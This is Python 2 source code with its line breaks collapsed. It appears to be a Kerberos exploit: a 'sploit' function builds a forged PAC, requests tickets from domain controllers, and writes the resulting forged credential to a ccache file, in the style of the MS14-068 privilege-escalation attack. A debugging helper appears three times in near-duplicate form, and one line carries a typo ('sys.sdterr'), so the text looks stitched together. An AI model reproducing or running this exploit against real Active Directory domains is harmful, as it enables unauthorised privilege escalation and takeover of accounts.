def ticket_debug(ticket, key): try: ticket_enc = decrypt_ticket_enc_part(ticket, key) print >> sys.stderr, ticket.prettyPrint() for ad in iter_authorization_data(ticket_enc['authorization-data']): print >> sys.stderr, 'AUTHORIZATION-DATA (type: %d):' % ad['ad-type'] if ad['ad-type'] == AD_WIN2K_PAC: pretty_print_pac(str(ad['ad-data'])) else: print >> sys.stderr, str(ad['ad-data']).encode('hex') except Exception as e: print 'ERROR:', e
def ticket_debug(ticket, key): try: ticket_enc = decrypt_ticket_enc_part(ticket, key) print >> sys.stderr, ticket.prettyPrint() for ad in iter_authorization_data(ticket_enc["authorization-data"]): print >> sys.stderr, "AUTHORIZATION-DATA (type: %d):" % ad["ad-type"] if ad["ad-type"] == AD_WIN2K_PAC: pretty_print_pac(str(ad["ad-data"])) else: print >> sys.stderr, str(ad["ad-data"]).encode("hex") except Exception as e: print "ERROR:", e
def ticket_debug(ticket, key): try: ticket_enc = decrypt_ticket_enc_part(ticket, key) print >> sys.stderr, ticket.prettyPrint() for ad in iter_authorization_data(ticket_enc['authorization-data']): print >> sys.stderr, 'AUTHORIZATION-DATA (type: %d):' % ad[ 'ad-type'] if ad['ad-type'] == AD_WIN2K_PAC: pretty_print_pac(str(ad['ad-data'])) else: print >> sys.stderr, str(ad['ad-data']).encode('hex') except Exception as e: print 'ERROR:', e
def sploit(user_realm, user_name, user_sid, user_key, kdc_a, kdc_b, target_realm, target_service, target_host, output_filename, krbtgt_a_key=None, trust_ab_key=None, target_key=None): sys.stderr.write(' [+] Building AS-REQ for %s...' % kdc_a) sys.stderr.flush() nonce = getrandbits(31) current_time = time() as_req = build_as_req(user_realm, user_name, user_key, current_time, nonce, pac_request=False) sys.stderr.write(' Done!\n') sys.stderr.write(' [+] Sending AS-REQ to %s...' % kdc_a) sys.stderr.flush() sock = send_req(as_req, kdc_a) sys.stderr.write(' Done!\n') sys.stderr.write(' [+] Receiving AS-REP from %s...' % kdc_a) sys.stderr.flush() data = recv_rep(sock) sys.stderr.write(' Done!\n') sys.stderr.write(' [+] Parsing AS-REP from %s...' % kdc_a) sys.stderr.flush() as_rep, as_rep_enc = decrypt_as_rep(data, user_key) session_key = (int(as_rep_enc['key']['keytype']), str(as_rep_enc['key']['keyvalue'])) logon_time = gt2epoch(str(as_rep_enc['authtime'])) tgt_a = as_rep['ticket'] sys.stderr.write(' Done!\n') if krbtgt_a_key is not None: print >> sys.sdterr, as_rep.prettyPrint() print >> sys.stderr, as_rep_enc.prettyPrint() ticket_debug(tgt_a, krbtgt_a_key) sys.stderr.write(' [+] Building TGS-REQ for %s...' % kdc_a) sys.stderr.flush() subkey = generate_subkey() nonce = getrandbits(31) current_time = time() pac = (AD_WIN2K_PAC, build_pac(user_realm, user_name, user_sid, logon_time)) tgs_req = build_tgs_req(user_realm, 'krbtgt', target_realm, user_realm, user_name, tgt_a, session_key, subkey, nonce, current_time, pac, pac_request=False) sys.stderr.write(' Done!\n') sys.stderr.write(' [+] Sending TGS-REQ to %s...' % kdc_a) sys.stderr.flush() sock = send_req(tgs_req, kdc_a) sys.stderr.write(' Done!\n') sys.stderr.write(' [+] Receiving TGS-REP from %s...' % kdc_a) sys.stderr.flush() data = recv_rep(sock) sys.stderr.write(' Done!\n') sys.stderr.write(' [+] Parsing TGS-REP from %s...' % kdc_a) tgs_rep, tgs_rep_enc = decrypt_tgs_rep(data, subkey) session_key2 = (int(tgs_rep_enc['key']['keytype']), str(tgs_rep_enc['key']['keyvalue'])) tgt_b = tgs_rep['ticket'] sys.stderr.write(' Done!\n') if trust_ab_key is not None: pretty_print_pac(pac[1]) print >> sys.stderr, tgs_rep.prettyPrint() print >> sys.stderr, tgs_rep_enc.prettyPrint() ticket_debug(tgt_b, trust_ab_key) if target_service is not None and target_host is not None and kdc_b is not None: sys.stderr.write(' [+] Building TGS-REQ for %s...' % kdc_b) sys.stderr.flush() subkey = generate_subkey() nonce = getrandbits(31) current_time = time() tgs_req2 = build_tgs_req(target_realm, target_service, target_host, user_realm, user_name, tgt_b, session_key2, subkey, nonce, current_time) sys.stderr.write(' Done!\n') sys.stderr.write(' [+] Sending TGS-REQ to %s...' % kdc_b) sys.stderr.flush() sock = send_req(tgs_req2, kdc_b) sys.stderr.write(' Done!\n') sys.stderr.write(' [+] Receiving TGS-REP from %s...' % kdc_b) sys.stderr.flush() data = recv_rep(sock) sys.stderr.write(' Done!\n') sys.stderr.write(' [+] Parsing TGS-REP from %s...' % kdc_b) tgs_rep2, tgs_rep_enc2 = decrypt_tgs_rep(data, subkey) sys.stderr.write(' Done!\n') else: tgs_rep2 = tgs_rep tgs_rep_enc2 = tgs_rep_enc sys.stderr.write(' [+] Creating ccache file %r...' % output_filename) cc = CCache((user_realm, user_name)) tgs_cred = kdc_rep2ccache(tgs_rep2, tgs_rep_enc2) cc.add_credential(tgs_cred) cc.save(output_filename) sys.stderr.write(' Done!\n') if target_key is not None: print >> sys.stderr, tgs_rep2.prettyPrint() print >> sys.stderr, tgs_rep_enc2.prettyPrint() ticket_debug(tgs_rep2['ticket'], target_key)